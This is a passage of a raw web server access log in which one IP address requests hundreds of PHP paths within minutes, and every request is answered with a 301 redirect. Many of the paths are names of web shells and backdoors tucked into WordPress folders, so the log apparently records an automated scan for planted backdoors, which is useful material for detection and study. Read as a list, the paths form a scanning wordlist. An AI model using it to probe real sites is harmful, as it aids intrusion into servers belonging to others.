"GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:43 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:45 -0400] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:45 -0400] "GET /wp-admin/css/colors/blue/blue.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:46 -0400] "GET /assets/wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:48 -0400] "GET //as.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:48 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:49 -0400] "GET /wp-includes/bmccxior.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:49 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:50 -0400] "GET /assets/images/cmd.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:51 -0400] "GET /worm3.PhP7 HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:52 -0400] "GET /wp-admin/maint/src_api.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:52 -0400] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:54 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:55 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:56 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:57 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:58 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:01:59 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:00 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:02 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:03 -0400] "GET /LA.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:04 -0400] "GET /moderation.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:05 -0400] "GET /wp-includes/fonts/log404.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:06 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:07 -0400] "GET /css/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:08 -0400] "GET /wp-content/upgrade/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:09 -0400] "GET /wp-includes/widgets/class-wp-widget-tag.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:09 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:10 -0400] "GET /upgrade.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:11 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:12 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:13 -0400] "GET /new/transjule.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:14 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:16 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:16 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:18 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:20 -0400] "GET /wp-crons.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:22 -0400] "GET /.well-known//.well-known/owlmailer.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:22 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:24 -0400] "GET /wp-includes/Requests/library/don.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:25 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:26 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:27 -0400] "GET /images/headers/strenms.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:28 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:28 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:30 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:30 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:32 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:34 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:35 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:36 -0400] "GET /chtmlfuns.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:37 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:38 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:39 -0400] "GET /.well-known/pki-validation/ibkejxnu.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:40 -0400] "GET /wp-admin/home.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:42 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:43 -0400] "GET /wp-includes/css/core.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:44 -0400] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:44 -0400] "GET /php.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:45 -0400] "GET /.well-known/pki-validation/ckyocyyp.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:46 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:46 -0400] "GET /wp-includes/ID3/module.tag.id3v3.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:47 -0400] "GET /wp-includes/js/jcrop/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:48 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:49 -0400] "GET //403.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:50 -0400] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:51 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:51 -0400] "GET //themes.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:52 -0400] "GET /de/internet.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:54 -0400] "GET //moon.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:55 -0400] "GET /style.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:56 -0400] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:57 -0400] "GET ///wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:58 -0400] "GET /wp-includes/blocks/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:02:59 -0400] "GET /backup.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:00 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:00 -0400] "GET /wp-includes/customize/upfile.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:02 -0400] "GET //s.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:02 -0400] "GET /wp-includes/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:04 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:05 -0400] "GET /.well-known/acme-challenge/fond.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:07 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:08 -0400] "GET /user-edit.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:10 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:11 -0400] "GET /wp-includes/js/crop/mart.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:13 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:14 -0400] "GET /xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:15 -0400] "GET //classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:16 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:17 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:18 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:19 -0400] "GET /.well-known/pki-validation/fond.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:20 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:21 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:22 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:23 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:24 -0400] "GET /.well-known/acme-challenge/classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:26 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:27 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:28 -0400] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:29 -0400] "GET /used: HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:30 -0400] "GET /back.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:31 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:32 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:33 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/jasmine.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:34 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:35 -0400] "GET /gif.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:36 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:37 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:38 -0400] "GET /cgi-bin/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:39 -0400] "GET /tools.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:39 -0400] "GET /wordpress/wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:40 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:42 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:43 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:45 -0400] "GET /TNT.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:46 -0400] "GET /.well-known/pki-validation/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:47 -0400] "GET /wp-includes/class-controller-theme-comment.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:48 -0400] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:49 -0400] "GET /unix.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:50 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:51 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:51 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:52 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:55 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:55 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:56 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:57 -0400] "GET /include/bussubmit.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:03:59 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:00 -0400] "GET /wp-includes/sitemaps/providers/class-wp-sitemaps-admin.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:02 -0400] "GET /aged.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:03 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:04 -0400] "GET /wp-admin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:05 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:05 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:06 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:07 -0400] "GET /main.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:08 -0400] "GET /wordpress/wp-includes/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:09 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:10 -0400] "GET /login HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:10 -0400] "GET /bootstrap.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:11 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:12 -0400] "GET /todo.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:13 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:13 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:14 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:14 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:15 -0400] "GET /wp-includes/log404.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:16 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:17 -0400] "GET /settings.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:17 -0400] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:18 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:19 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:19 -0400] "GET /include/Lurd.class.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:20 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:21 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:22 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:23 -0400] "GET /wp-admin/css/colors/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:24 -0400] "GET /wp-includes/images/wlw/libcore.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:25 -0400] "GET /.well-known/yrfjzewo.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:25 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:26 -0400] "GET /ds.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:27 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:28 -0400] "GET /ern1.PhP7 HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:28 -0400] "GET /wp-includes/assets/plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:29 -0400] "GET /baja.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:29 -0400] "GET /comdofuns.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:31 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:32 -0400] "GET /wp-admin/images/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:33 -0400] "GET /file_browser.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:34 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:35 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:36 -0400] "GET /.well-known/pki-validation/LA.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:37 -0400] "GET //admin.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:37 -0400] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:38 -0400] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:39 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:41 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:42 -0400] "GET /images/server.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:43 -0400] "GET /.tmb/LA.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:44 -0400] "GET /.well-known/pki-validation/101d2ae2-f2f3-4977-b35d-b3a0ad74a469.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:44 -0400] "GET /wp-admin/user/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:46 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:47 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:48 -0400] "GET /.well-known/kwggvpup.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:49 -0400] "GET /access.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:51 -0400] "GET /wp-includes/assets/script-loader.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:52 -0400] "GET /help.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:52 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:54 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:54 -0400] "GET /.well-known/upfile.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:55 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:56 -0400] "GET /berlin.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:56 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:57 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:58 -0400] "GET /wp-admin/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:04:59 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:00 -0400] "GET /wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:01 -0400] "GET /batm.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:02 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:04 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:07 -0400] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:09 -0400] "GET /wp-includes/css/dist/components/nomox.php.suspected HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:12 -0400] "GET //wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:15 -0400] "GET /rendixd.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:16 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:17 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:18 -0400] "GET /wp-includes/block-supports/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:18 -0400] "GET /wp-includes/product.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:20 -0400] "GET /wp-admin/network/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:21 -0400] "GET /0z.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:22 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:23 -0400] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:24 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:25 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:26 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:26 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:27 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:27 -0400] "GET /.well-known/pki-validation/worksec.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:28 -0400] "GET /defaul1.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:29 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:29 -0400] "GET /.well-known/amaxx.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:30 -0400] "GET /wp-includes/images/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:31 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:31 -0400] "GET /wp-includes/cqhnpmqs.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:32 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:33 -0400] "GET /wp-includes/images/1.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:33 -0400] "GET /wp/wp-includes/menu.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:34 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:34 -0400] "GET /wp-includes/class-flitert.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:35 -0400] "GET /media-new.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:36 -0400] "GET 